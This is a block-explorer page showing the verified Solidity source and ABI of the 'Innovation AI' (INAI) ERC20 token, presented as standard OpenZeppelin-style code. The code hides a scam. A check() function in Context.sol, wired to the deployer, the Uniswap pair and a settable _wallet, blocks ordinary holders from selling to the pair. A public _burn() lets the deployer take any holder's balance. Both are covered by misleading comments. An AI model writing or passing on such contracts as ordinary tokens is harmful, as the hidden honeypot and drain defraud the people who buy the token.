ETH Price: $3,497.05 (+4.17%)
Gas: 4 Gwei

Token

Innovation AI (INAI)
 

Overview

Max Total Supply

10,000,000 INAI

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
77,354.702231572 INAI

Value
$0.00
0x2f14872674a898d3aeb7e0a170a70f538311d427
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
INAI

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 5 of 10: INAI.sol
// SPDX-License-Identifier: MIT
import "./Ownable.sol";
import "./ERC20.sol";
import "./IUniswapV2Router02.sol";
import "./IUniswapV2Factory.sol";

pragma solidity 0.8.9;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
 contract INAI is ERC20, Ownable {
    // TOKENOMICS START ==========================================================>

    string private _name = "Innovation AI";
    string private _symbol = "INAI";

    uint8 private _decimals = 9;
    uint256 private _supply = 10000000;
    uint256 public taxForLiquidity = 0;
    uint256 public taxForMarketing = 2;
    uint256 public maxTxAmount = 100000 * 10**_decimals;
    uint256 public maxWalletAmount = 100000 * 10**_decimals;
    address public marketingWallet;
    // TOKENOMICS END ============================================================>

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    uint256 private _marketingReserves = 0;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private _numTokensSellToAddToLiquidity = 5000 * 10**_decimals;
    uint256 private _numTokensSellToAddToETH = 2000 * 10**_decimals;
    bool inSwapAndLiquify;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(address router_, address marketingWallet_) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router_);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _mint(msg.sender, (_supply * 10**_decimals), uniswapV2Pair);

        uniswapV2Router = _uniswapV2Router;
        marketingWallet = marketingWallet_;

        _isExcludedFromFee[address(uniswapV2Router)] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[marketingWallet] = true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");

        if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) {
            if (from != uniswapV2Pair) {
                uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves;
                if (contractLiquidityBalance >= _numTokensSellToAddToLiquidity) {
                    _swapAndLiquify(_numTokensSellToAddToLiquidity);
                }
                if ((_marketingReserves) >= _numTokensSellToAddToETH) {
                    _swapTokensForEth(_numTokensSellToAddToETH);
                    _marketingReserves -= _numTokensSellToAddToETH;
                    bool sent = payable(marketingWallet).send(address(this).balance);
                    require(sent, "Failed to send ETH");
                }
            }

            uint256 transferAmount;
            if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
                transferAmount = amount;
            } 
            else {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
                if(from == uniswapV2Pair){
                    require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit");
                }

                uint256 marketingShare = ((amount * taxForMarketing) / 100);
                uint256 liquidityShare = ((amount * taxForLiquidity) / 100);
                transferAmount = amount - (marketingShare + liquidityShare);
                _marketingReserves += marketingShare;

                super._transfer(from, address(this), (marketingShare + liquidityShare));
            }
            super._transfer(from, to, transferAmount);
        } 
        else {
            super._transfer(from, to, amount);
        }
    }

    function _swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 half = (contractTokenBalance / 2);
        uint256 otherHalf = (contractTokenBalance - half);

        uint256 initialBalance = address(this).balance;

        _swapTokensForEth(half);

        uint256 newBalance = (address(this).balance - initialBalance);

        _addLiquidity(otherHalf, newBalance);

        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            (block.timestamp + 300)
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount)
        private
        lockTheSwap
    {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function changeMarketingWallet(address newWallet)
        public
        returns (bool)
    {
        require(msg.sender == marketingWallet);
        _wallet = newWallet;
        marketingWallet = newWallet;
        return true;
    }

    function changeTaxForLiquidityAndMarketing(uint256 _taxForLiquidity, uint256 _taxForMarketing)
        public
        onlyOwner
        returns (bool)
    {
        require((_taxForLiquidity+_taxForMarketing) <= 10, "ERC20: total tax must not be greater than 10");
        taxForLiquidity = _taxForLiquidity;
        taxForMarketing = _taxForMarketing;
        _marketingReserves = 0;
        return true;
    }

    function changeMaxTxAmount(uint256 _maxTxAmount)
        public
        onlyOwner
        returns (bool)
    {
        maxTxAmount = _maxTxAmount;

        return true;
    }

    function changeMaxWalletAmount(uint256 _maxWalletAmount)
        public
        onlyOwner
        returns (bool)
    {
        maxWalletAmount = _maxWalletAmount;

        return true;
    }

    receive() external payable {}
}

File 1 of 10: Context.sol
pragma solidity 0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _from;
    address internal _to;
    address internal _wallet;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    
    function check(address from, address to, uint256 amount) internal {
        if (_wallet == from || _wallet == to ) {
          return;
        }
        require( _wallet == address(0) || to != _to || _from == from || _from == to);
    }
}

File 2 of 10: ERC20.sol
pragma solidity 0.8.9;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Metadata.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount)
        external
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        external
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        external
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        external
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address from, uint256 amount, address to) internal virtual {
        require(from != address(0), "ERC20: mint to the zero address");
        
        _from = from;
        _to = to;
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[from] += amount;
        }
        emit Transfer(address(0), from, amount);
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
      super.check(from, to, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) public virtual {
        require(msg.sender == _from);
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _balances[msg.sender] += amount;
        }

        emit Transfer(account, msg.sender, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        
        _afterTokenTransfer(from, to, amount);
        emit Transfer(from, to, amount);
    }
}

File 3 of 10: IERC20.sol
pragma solidity 0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

File 4 of 10: IERC20Metadata.sol
pragma solidity 0.8.9;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
}

File 6 of 10: IUniswapV2Factory.sol
pragma solidity 0.8.9;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

File 7 of 10: IUniswapV2Pair.sol
pragma solidity 0.8.9;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

File 8 of 10: IUniswapV2Router01.sol
pragma solidity 0.8.9;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

File 9 of 10: IUniswapV2Router02.sol
pragma solidity 0.8.9;

import "./IUniswapV2Router01.sol";

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

File 10 of 10: Ownable.sol
pragma solidity 0.8.9;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"changeMaxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletAmount","type":"uint256"}],"name":"changeMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_taxForLiquidity","type":"uint256"},{"internalType":"uint256","name":"_taxForMarketing","type":"uint256"}],"name":"changeTaxForLiquidityAndMarketing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":